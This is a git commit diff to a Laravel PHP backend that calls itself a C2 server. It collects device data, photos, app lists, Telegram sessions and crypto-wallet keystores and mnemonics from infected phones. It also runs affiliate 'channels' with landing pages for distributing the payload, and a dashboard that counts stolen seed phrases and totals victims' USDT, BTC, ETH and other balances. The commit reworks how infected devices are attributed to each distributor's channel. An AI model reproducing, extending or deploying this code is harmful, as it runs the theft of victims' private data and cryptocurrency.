feat: new channel

This commit is contained in:
hashbro
2026-08-15 02:56:38 +08:00
parent 5453d9d69b
commit 7c0066562f
45 changed files with 1686 additions and 965 deletions
+1 -1
View File
@@ -43,7 +43,7 @@ if (! function_exists('create_log')) {
if (! function_exists('c2_log_request_meta')) {
/**
* IP + proxy headers for C2 file logs (iptj vs native comparison).
* IP + proxy headers for C2 file logs.
*
* @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>}
*/
@@ -65,7 +65,7 @@ class ChannelController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
$row = [
return [
'id' => $c->id,
'channel_id' => $c->channel_id,
'builder_type' => $c->builderType(),
@@ -74,15 +74,10 @@ class ChannelController extends Controller
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
'download_url' => null,
'landing_path' => $c->landingPath(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
];
if ($c->isNewBuilder()) {
$row['download_url'] = route($this->portal().'.channels.download', $c);
}
return $row;
})->values();
return response()->json([
@@ -117,7 +112,7 @@ class ChannelController extends Controller
}
$channelIdRule = $builderType === Channel::BUILDER_NEW
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN]
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
$data = $request->validate([
@@ -134,10 +129,10 @@ class ChannelController extends Controller
if ($builderType === Channel::BUILDER_NEW) {
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
if ($normalized === null) {
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
}
$data['channel_id'] = $normalized;
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
if (Channel::query()->where('channel_id', $normalized)->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
}
@@ -209,10 +204,8 @@ class ChannelController extends Controller
'support_path' => $build['support_path'] ?? $channel->landingPath(),
'weifile_path' => $build['weifile_path'] ?? null,
'daily_path' => $build['daily_path'] ?? '',
'zip_path' => $build['zip_path'] ?? null,
'download_url' => $channel->isNewBuilder()
? route('admin.channels.download', $channel)
: null,
'channel_dir' => $build['channel_dir'] ?? null,
'show_alias' => $build['show_alias'] ?? null,
],
]);
}
@@ -265,19 +258,6 @@ class ChannelController extends Controller
]);
}
public function download(Channel $channel, ChannelProjectService $projects)
{
$this->authorizeChannel($channel);
abort_unless($channel->isNewBuilder(), 404);
$path = $projects->newChannelZipPath($channel->channel_id);
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
return response()->download($path, $channel->channel_id.'.zip', [
'Content-Type' => 'application/zip',
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
@@ -0,0 +1,38 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Services\FilterOptionsService;
class FilterOptionsController extends Controller
{
use PortalAware;
public function __construct(
private readonly FilterOptionsService $options,
) {}
public function channels()
{
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->options->channelOptions($this->agent()),
]);
}
public function agents()
{
if ($this->isAgentPortal()) {
return response()->json(['code' => 1, 'msg' => '无权访问', 'data' => []], 403);
}
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->options->agentOptions(),
]);
}
}
+3 -120
View File
@@ -4,15 +4,10 @@ namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Http\Middleware\DecryptXxbbBody;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Services\CorunaArchive;
use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Database\QueryException;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Storage;
/**
@@ -22,6 +17,8 @@ use Illuminate\Support\Facades\Storage;
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib).
*
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
*/
class XxbbC2Controller extends Controller
{
@@ -34,110 +31,6 @@ class XxbbC2Controller extends Controller
return response('ok', 200)->header('Content-Type', 'text/plain');
}
/**
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
*/
public function iptj(Request $request): Response
{
$payload = $request->json()->all();
if ($payload === []) {
$decoded = json_decode((string) $request->getContent(), true);
$payload = is_array($decoded) ? $decoded : [];
}
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
if ($normalizedCode !== null) {
$channelCode = $normalizedCode;
}
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
$sessionId = $this->normalizeSessionId(
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
);
$domain = PageVisit::normalizeDomain($domain);
$ip = PageVisit::normalizeIp((string) $request->ip());
$uid = PageVisit::visitorUid($domain, $ip);
$recorded = false;
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
// Landing JS often sends major.minor only (`iOS 15.8`); UA has the patch (`15_8_4`).
if ($osVersion === null && $deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
try {
PageVisit::query()->create([
'channel_id' => substr($channelCode, 0, 64),
'client_uid' => $uid,
'session_id' => $sessionId,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $this->referer($request),
'created_at' => now(),
]);
$recorded = true;
} catch (QueryException $e) {
if (($e->errorInfo[0] ?? '') !== '23000') {
throw $e;
}
}
}
$meta = c2_log_request_meta($request);
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => '/'.ltrim($request->path(), '/'),
'ip' => $ip !== '' ? $ip : $meta['ip'],
'remote_addr' => $meta['remote_addr'],
'device_key' => null,
'client_uid' => $uid !== '' ? $uid : null,
'recorded' => $recorded,
'timestamp_hdr' => null,
'headers' => $meta['headers'],
'payload' => $payload,
'decrypt_ok' => true,
'error' => null,
], 'xxbb');
return response('{}', 200)->header('Content-Type', 'application/json');
}
private function normalizeSessionId(string $sessionId): ?string
{
$sessionId = trim($sessionId);
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
return null;
}
return $sessionId;
}
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
{
if ($sessionId !== null) {
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
if (! Cache::add($debounceKey, 1, now()->addDay())) {
return false;
}
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
}
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
return Cache::add($debounceKey, 1, now()->addSeconds(8));
}
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
public function profile(Request $request): Response
{
@@ -163,7 +56,7 @@ class XxbbC2Controller extends Controller
public function event(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestDeviceEvent($device, $payload);
}
@@ -309,16 +202,6 @@ class XxbbC2Controller extends Controller
);
}
private function referer(Request $request): ?string
{
$referer = trim((string) $request->headers->get('referer', ''));
if ($referer === '') {
return null;
}
return substr($referer, 0, 512);
}
private function xxbbAck(Request $request): Response
{
$ts = (string) $request->attributes->get('xxbb_ts', '');
+1
View File
@@ -94,6 +94,7 @@ class DecryptXxbbBody
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
$request->attributes->set('coruna_device_key', $deviceKey);
$request->attributes->set('coruna_new_builder', true);
$request->attributes->set('coruna_xxbb_core', in_array($path, ['/a', '/u', '/event'], true));
$request->attributes->set('xxbb_ts', $timestamp);
return $next($request);
+32 -21
View File
@@ -14,10 +14,11 @@ class Channel extends Model
public const BUILDER_NEW = 'new';
public const NEW_CHANNEL_ID_LENGTH = 8;
/** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */
public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/';
/**
* Public-root path prefixes that must not be used as 8-char channel IDs.
* Public-root path prefixes that must not be used as old 32-hex channel IDs.
*
* @var list<string>
*/
@@ -39,6 +40,25 @@ class Channel extends Model
'builder_type' => self::BUILDER_OLD,
];
protected static function booted(): void
{
$bust = static function (Channel $channel): void {
$svc = app(\App\Services\FilterOptionsService::class);
$svc->forgetChannels();
$uids = array_unique(array_filter([
(int) $channel->user_id,
(int) $channel->getOriginal('user_id'),
]));
foreach ($uids as $uid) {
if ($uid > 0) {
$svc->forgetChannels($uid);
}
}
};
static::saved($bust);
static::deleted($bust);
}
protected function casts(): array
{
return [
@@ -124,7 +144,7 @@ class Channel extends Model
public function landingPath(): string
{
if ($this->isNewBuilder()) {
return '/weifile/weifile.html';
return '/channel/'.$this->channel_id.'/weifile/weifile.html';
}
return '/web/'.$this->channel_id.'/support.html';
@@ -135,10 +155,6 @@ class Channel extends Model
*/
public function supportLinks(): array
{
if ($this->isNewBuilder()) {
return [];
}
$links = [];
$path = $this->landingPath();
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
@@ -164,10 +180,7 @@ class Channel extends Model
public static function normalizeNewChannelId(string $channelId): ?string
{
$channelId = strtoupper(trim($channelId));
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) {
return null;
}
if (self::isReservedChannelName($channelId)) {
if (! preg_match(self::NEW_CHANNEL_ID_PATTERN, $channelId)) {
return null;
}
@@ -176,12 +189,12 @@ class Channel extends Model
public static function randomNewChannelId(): string
{
for ($i = 0; $i < 32; $i++) {
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH));
if (self::normalizeNewChannelId($code) === null) {
continue;
}
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) {
$chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$pick = static fn (): string => $chars[random_int(0, strlen($chars) - 1)];
for ($i = 0; $i < 64; $i++) {
$code = $pick().'.'.$pick().'.'.$pick().$pick();
if (self::query()->where('channel_id', $code)->exists()) {
continue;
}
@@ -191,11 +204,9 @@ class Channel extends Model
throw new RuntimeException('无法生成唯一渠道 ID');
}
public function sourceZipRelativePath(): string
public function channelPublicRelativeDir(): string
{
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
return $dir.'/'.$this->channel_id.'.zip';
return 'channel/'.$this->channel_id;
}
public static function isReservedChannelName(string $name): bool
+9
View File
@@ -15,6 +15,15 @@ class User extends Authenticatable
'password', 'remember_token', 'bot_token',
];
protected static function booted(): void
{
$bust = static function (): void {
app(\App\Services\FilterOptionsService::class)->forgetAgents();
};
static::saved($bust);
static::deleted($bust);
}
protected function casts(): array
{
return [
+71 -32
View File
@@ -45,7 +45,7 @@ class ChannelProjectService
$builderType = $this->normalizeBuilderType($builderType);
if ($builderType === self::BUILDER_NEW) {
return $this->generateNew($channelId);
return $this->generateNew($channelId, $supportTemplate);
}
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
@@ -72,9 +72,9 @@ class ChannelProjectService
if ($code === null) {
return;
}
$zip = $this->newChannelZipPath($code);
if (is_file($zip) && ! unlink($zip)) {
throw new RuntimeException('删除渠道安装包失败: '.$zip);
$dir = $this->newChannelDirPath($code);
if (is_dir($dir) && ! $this->removeDirectory($dir)) {
throw new RuntimeException('删除渠道资源失败: '.$dir);
}
return;
@@ -163,8 +163,8 @@ class ChannelProjectService
}
/**
* Rebuild shared /details and staged weifile from `c`.
* Only used by `php artisan xxbb:build`, not when creating a channel.
* Rebuild shared /details and staged weifile from shared channel `c`.
* Channel create always runs this with XXBB_CHANNEL_C from env (no random).
*
* @return array<string, mixed>
*/
@@ -188,46 +188,53 @@ class ChannelProjectService
$cmd[] = '--random-c';
} else {
$c = $this->normalizeSharedChannelC($channelC);
if ($c !== null) {
$cmd[] = '--channel-c';
$cmd[] = $c;
if ($c === null) {
throw new RuntimeException('请先在 .env 配置 XXBB_CHANNEL_C(32 位 hex)');
}
$cmd[] = '--channel-c';
$cmd[] = $c;
}
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
}
private function generateNew(string $channelId): array
private function generateNew(string $channelId, string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE): array
{
$channelId = Channel::normalizeNewChannelId($channelId);
if ($channelId === null) {
throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)');
throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)');
}
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
// Shared details + staged weifile always rebuilt from env XXBB_CHANNEL_C (never random).
$this->buildSharedArtifacts($this->requireEnvChannelC(), false);
$weifileSrc = $this->stagedWeifileDir();
if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) {
throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build');
}
$zipPath = $this->newChannelZipPath($channelId);
$this->ensureDirectory(dirname($zipPath), '新版渠道产物目录');
$detailsSrc = $this->artifactRoot().DIRECTORY_SEPARATOR.'details';
$channelOut = $this->newChannelDirPath($channelId);
$this->ensureDirectory(dirname($channelOut), '新版渠道产物目录');
$cmd = [
$this->pythonBinary(self::BUILDER_NEW),
$this->builderScript('pack_channel.py', self::BUILDER_NEW),
'--channel-code',
'--channel-ver',
$channelId,
'--state-root',
$this->stateRoot(self::BUILDER_NEW),
'--weifile-src',
$weifileSrc,
'--zip-out',
$zipPath,
'--details-src',
$detailsSrc,
'--channel-out',
$channelOut,
'--landing-template',
$supportTemplate,
];
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
$seeds = $this->loadNewLabSeeds();
$relativeZip = $this->newChannelZipRelative($channelId);
$landing = (string) ($result['landing_path'] ?? '/channel/'.$channelId.'/weifile/weifile.html');
$detailsPath = (string) ($result['details_path'] ?? '/channel/'.$channelId.'/details/');
return [
'channel_id' => $channelId,
@@ -243,10 +250,12 @@ class ChannelProjectService
],
'seeds_initialized' => false,
'sync_rebuilt' => false,
'support_path' => '',
'support_path' => $landing,
'weifile_path' => null,
'daily_path' => '/details/',
'zip_path' => '/'.$relativeZip,
'daily_path' => $detailsPath,
'channel_dir' => '/channel/'.$channelId,
'show_alias' => (string) ($result['show_alias'] ?? '/c/'.$channelId.'/show.htm'),
'support_template' => (string) ($result['landing_template'] ?? $supportTemplate),
];
}
@@ -255,17 +264,37 @@ class ChannelProjectService
return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile';
}
public function newChannelZipPath(string $channelId): string
public function newChannelDirPath(string $channelId): string
{
return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId));
}
public function newChannelZipRelative(string $channelId): string
{
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
$code = Channel::normalizeNewChannelId($channelId) ?? $channelId;
return $dir.'/'.$code.'.zip';
return $this->artifactRoot().DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$code;
}
private function removeDirectory(string $dir): bool
{
if (! is_dir($dir)) {
return true;
}
$items = scandir($dir);
if ($items === false) {
return false;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.DIRECTORY_SEPARATOR.$item;
if (is_dir($path)) {
if (! $this->removeDirectory($path)) {
return false;
}
} elseif (! unlink($path)) {
return false;
}
}
return rmdir($dir);
}
/**
@@ -299,6 +328,16 @@ class ChannelProjectService
];
}
private function requireEnvChannelC(): string
{
$c = $this->normalizeSharedChannelC(null);
if ($c === null) {
throw new RuntimeException('请先在 .env 配置 XXBB_CHANNEL_C(32 位 hex)');
}
return $c;
}
private function normalizeSharedChannelC(?string $channelC): ?string
{
$c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
+157 -19
View File
@@ -5,6 +5,8 @@ namespace App\Services;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
@@ -22,14 +24,19 @@ class DashboardStatsService
* } $filters
* @return array{
* total: int,
* wallet_count: int,
* new_count: int,
* active_count: int,
* pv: int,
* uv: int,
* effective_pv: int,
* effective_uv: int,
* by_os: list<array{label: string, pv: int, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, pv: int, uv: int, pct: float}>,
* mnemonic_count: int,
* address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
* range: string,
* from: string,
* to: string
@@ -62,8 +69,26 @@ class DashboardStatsService
}
$total = (clone $base)->count();
$walletCount = (clone $base)->where('has_wallet', Device::WALLET_YES)->count();
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
$mnemonicCount = $this->countDeviceChildren(
WalletMnemonic::query(),
'wallet_mnemonics',
$agent,
$agentUserId,
$channelId,
$channelExact,
);
$addressCount = $this->countDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
$agent,
$agentUserId,
$channelId,
$channelExact,
);
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact);
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
@@ -86,53 +111,151 @@ class DashboardStatsService
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$iosVisits = (clone $visits)->where('os', 'iOS');
$iosPv = (clone $iosVisits)->count();
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$otherVisits = (clone $visits)->where(function (Builder $q) {
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
});
$otherPv = (clone $otherVisits)->count();
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$byOs = [
$this->row('iOS', $iosPv, $iosUv, $pv),
$this->row('其他', $otherPv, $otherUv, $pv),
$this->visitRow('iOS', $iosUv, $uv),
$this->visitRow('其他', $otherUv, $uv),
];
$byIosVersion = (clone $iosVisits)
$versionGroups = (clone $iosVisits)
->select('os_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os_version')
->orderByDesc('pv')
->orderByDesc('uv')
->limit(20)
->get();
// Denominator = sum of per-version UVs (not global DISTINCT).
// Same visitor may appear under multiple versions; using DISTINCT total would
// make every overlapping bucket show ~100%.
$versionUvSum = (int) $versionGroups->sum('uv');
$byIosVersion = $versionGroups
->map(fn ($r) => $this->visitRow(
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
(int) $r->uv,
$versionUvSum > 0 ? $versionUvSum : $iosUv,
))
->values()
->all();
$byDeviceIosVersion = (clone $base)
->select('ios_version')
->selectRaw('COUNT(*) as cnt')
->groupBy('ios_version')
->orderByDesc('cnt')
->limit(20)
->get()
->map(fn ($r) => $this->row(
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
(int) $r->pv,
(int) $r->uv,
$iosPv > 0 ? $iosPv : $pv,
))
->map(function ($r) use ($total) {
$label = trim((string) ($r->ios_version ?? ''));
return $this->deviceRow(
$label !== '' ? $label : '未知',
(int) $r->cnt,
$total,
);
})
->values()
->all();
return [
'total' => $total,
'wallet_count' => $walletCount,
'new_count' => $newCount,
'active_count' => $activeCount,
'pv' => $pv,
'uv' => $uv,
'effective_pv' => $effectivePv,
'effective_uv' => $effectiveUv,
'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount,
'balances' => $balances,
'by_os' => $byOs,
'by_ios_version' => $byIosVersion,
'by_device_ios_version' => $byDeviceIosVersion,
'range' => $range,
'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(),
];
}
/**
* Join a device-child table and apply the same channel / agent scope as device totals.
*/
private function scopedDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
): Builder {
$query->join('devices', 'devices.id', '=', $table.'.device_id');
AgentScope::applyDeviceChannelScope($query, $agent);
if ($agent === null) {
AgentScope::applyAgentUserFilter($query, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$query->where('devices.channel_id', $channelId);
} else {
$query->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
return $query;
}
private function countDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
): int {
return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
->count($table.'.id');
}
/**
* Sum coin columns across wallet_addresses for devices in the same scope as dashboard totals.
* Not limited by the time range (current holdings).
*
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
*/
private function sumBalances(?User $agent, ?int $agentUserId, string $channelId, bool $channelExact): array
{
$q = $this->scopedDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
$agent,
$agentUserId,
$channelId,
$channelExact,
);
$selects = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
}
$row = $q->selectRaw(implode(', ', $selects))->first();
$out = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $row?->{$col} ?? 0;
$formatted = WalletAddress::formatAmount($col, $raw);
$out[$col] = $formatted === '' ? '0' : $formatted;
}
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
return $out;
}
/**
* Map telegram /data day token to dashboard range key.
* Empty / omitted → today.
@@ -209,17 +332,32 @@ class DashboardStatsService
}
/**
* @return array{label: string, pv: int, uv: int, pct: float}
* Visit breakdown row. pct = uv / $totalUv (UV share).
*
* @return array{label: string, uv: int, pct: float}
*/
private function row(string $label, int $pv, int $uv, int $totalPv): array
private function visitRow(string $label, int $uv, int $totalUv): array
{
$pct = $totalPv > 0 ? round(($pv / $totalPv) * 100, 1) : 0.0;
$pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0;
return [
'label' => $label,
'pv' => $pv,
'uv' => $uv,
'pct' => $pct,
];
}
/**
* @return array{label: string, count: int, pct: float}
*/
private function deviceRow(string $label, int $count, int $total): array
{
$pct = $total > 0 ? round(($count / $total) * 100, 1) : 0.0;
return [
'label' => $label,
'count' => $count,
'pct' => $pct,
];
}
}
+105
View File
@@ -0,0 +1,105 @@
<?php
namespace App\Services;
use App\Models\Channel;
use App\Models\User;
use Illuminate\Support\Facades\Cache;
class FilterOptionsService
{
public const CACHE_TTL_SECONDS = 300;
public const CACHE_CHANNELS_ADMIN = 'filter_options:channels:admin';
public const CACHE_AGENTS = 'filter_options:agents';
public static function channelsCacheKeyForAgent(int $agentId): string
{
return 'filter_options:channels:agent:'.$agentId;
}
/**
* @return list<array{value: string, label: string}>
*/
public function channelOptions(?User $agent = null): array
{
if ($agent !== null) {
$key = self::channelsCacheKeyForAgent((int) $agent->id);
return Cache::remember($key, self::CACHE_TTL_SECONDS, function () use ($agent) {
return $this->mapChannels(
Channel::query()
->where('user_id', (int) $agent->id)
->orderByDesc('id')
->get(['channel_id', 'remark'])
);
});
}
return Cache::remember(self::CACHE_CHANNELS_ADMIN, self::CACHE_TTL_SECONDS, function () {
return $this->mapChannels(
Channel::query()->orderByDesc('id')->get(['channel_id', 'remark'])
);
});
}
/**
* @return list<array{value: string, label: string}>
*/
public function agentOptions(): array
{
return Cache::remember(self::CACHE_AGENTS, self::CACHE_TTL_SECONDS, function () {
return User::query()
->orderBy('username')
->get(['id', 'username', 'comment'])
->map(function (User $u) {
$name = trim((string) $u->username);
$comment = trim((string) ($u->comment ?? ''));
return [
'value' => (string) $u->id,
'label' => $comment !== '' ? $name.'/'.$comment : $name,
];
})
->values()
->all();
});
}
public function forgetAll(): void
{
Cache::forget(self::CACHE_CHANNELS_ADMIN);
Cache::forget(self::CACHE_AGENTS);
}
public function forgetChannels(?int $agentUserId = null): void
{
Cache::forget(self::CACHE_CHANNELS_ADMIN);
if ($agentUserId !== null && $agentUserId > 0) {
Cache::forget(self::channelsCacheKeyForAgent($agentUserId));
}
}
public function forgetAgents(): void
{
Cache::forget(self::CACHE_AGENTS);
}
/**
* @param \Illuminate\Support\Collection<int, Channel> $channels
* @return list<array{value: string, label: string}>
*/
private function mapChannels($channels): array
{
return $channels->map(function (Channel $c) {
$id = (string) $c->channel_id;
$remark = trim((string) ($c->remark ?? ''));
return [
'value' => $id,
'label' => $remark !== '' ? $id.'/'.$remark : $id,
];
})->values()->all();
}
}
+30 -55
View File
@@ -151,7 +151,8 @@ class IngestService
/**
* Other C2 routes — create device if missing so business rows can attach.
* Old builder: never write channel_id here (put will fill it later).
* New builder: IP-match iptj on create and when channel_id is still empty.
* New builder core (`/a`, `/u`, `/event`): channel_id from ver/sdkv headers when present.
* Other new-builder routes: create device without writing channel_id.
*/
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
{
@@ -162,7 +163,7 @@ class IngestService
$existing = Device::query()->where('device_id', $deviceKey)->first();
if ($existing) {
if ($this->isNewBuilderRequest($request)) {
if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) {
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
return $existing->refresh();
@@ -251,15 +252,19 @@ class IngestService
/**
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
* New xxbb short paths (`/event`, `/u`, …): never write native `c`;
* attribute via recent PageVisit IP. Device is still created if no visit matches.
* New xxbb core (`/a`, `/u`, `/event`): channel_id from request header `ver` or `sdkv`.
* Other xxbb short paths: never write channel_id (device may still be created).
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
{
if ($this->isNewBuilderRequest($request)) {
return $this->matchNewBuilderVisit($request->ip());
if (! $this->isXxbbCoreRequest($request)) {
return ['channel_id' => null, 'source_domain' => null];
}
return $this->channelFromVerHeaders($request);
}
if ($allowOldC) {
return ['channel_id' => $this->extractChannelId($request, $payload), 'source_domain' => null];
@@ -273,69 +278,35 @@ class IngestService
return (bool) $request->attributes->get('coruna_new_builder', false);
}
private function isXxbbCoreRequest(Request $request): bool
{
return (bool) $request->attributes->get('coruna_xxbb_core', false);
}
/**
* Latest iptj/pixel visit in the last N minutes whose channel_id is a
* new-builder channel, and no device from this client IP has already
* claimed that channel. Same IPv4 / IPv4-mapped IPv6 is preferred;
* otherwise a recent visit still matches across address families
* (Safari iptj is often v4, native /event often v6).
* Core reports ver/sdkv as the per-channel patch string (X.Y.ZZ, 6 chars).
* Missing or invalid headers → null channel_id; device is still created.
*
* @return array{channel_id: ?string, source_domain: ?string}
*/
private function matchNewBuilderVisit(?string $ip): array
private function channelFromVerHeaders(Request $request): array
{
$ip = PageVisit::normalizeIp($ip);
if ($ip === '') {
return ['channel_id' => null, 'source_domain' => null];
}
$minutes = max(1, (int) config('coruna.xxbb.visit_match_minutes', 30));
$visits = PageVisit::query()
->where('created_at', '>=', now()->subMinutes($minutes))
->orderByDesc('id')
->get();
if ($visits->isEmpty()) {
return ['channel_id' => null, 'source_domain' => null];
}
$ipKeys = PageVisit::ipLookupKeys($ip);
$sameIp = $visits->filter(
static fn (PageVisit $visit) => in_array(PageVisit::normalizeIp($visit->ip), $ipKeys, true)
);
foreach ($sameIp->concat($visits->diff($sameIp)) as $visit) {
$code = Channel::normalizeNewChannelId((string) ($visit->channel_id ?? ''));
if ($code === null) {
foreach (['ver', 'sdkv'] as $header) {
$raw = trim((string) $request->header($header, ''));
if ($raw === '') {
continue;
}
$channel = Channel::query()
->where('channel_id', $code)
->where('builder_type', Channel::BUILDER_NEW)
->first();
if ($channel === null) {
continue;
$code = Channel::normalizeNewChannelId($raw);
if ($code !== null) {
return ['channel_id' => $code, 'source_domain' => null];
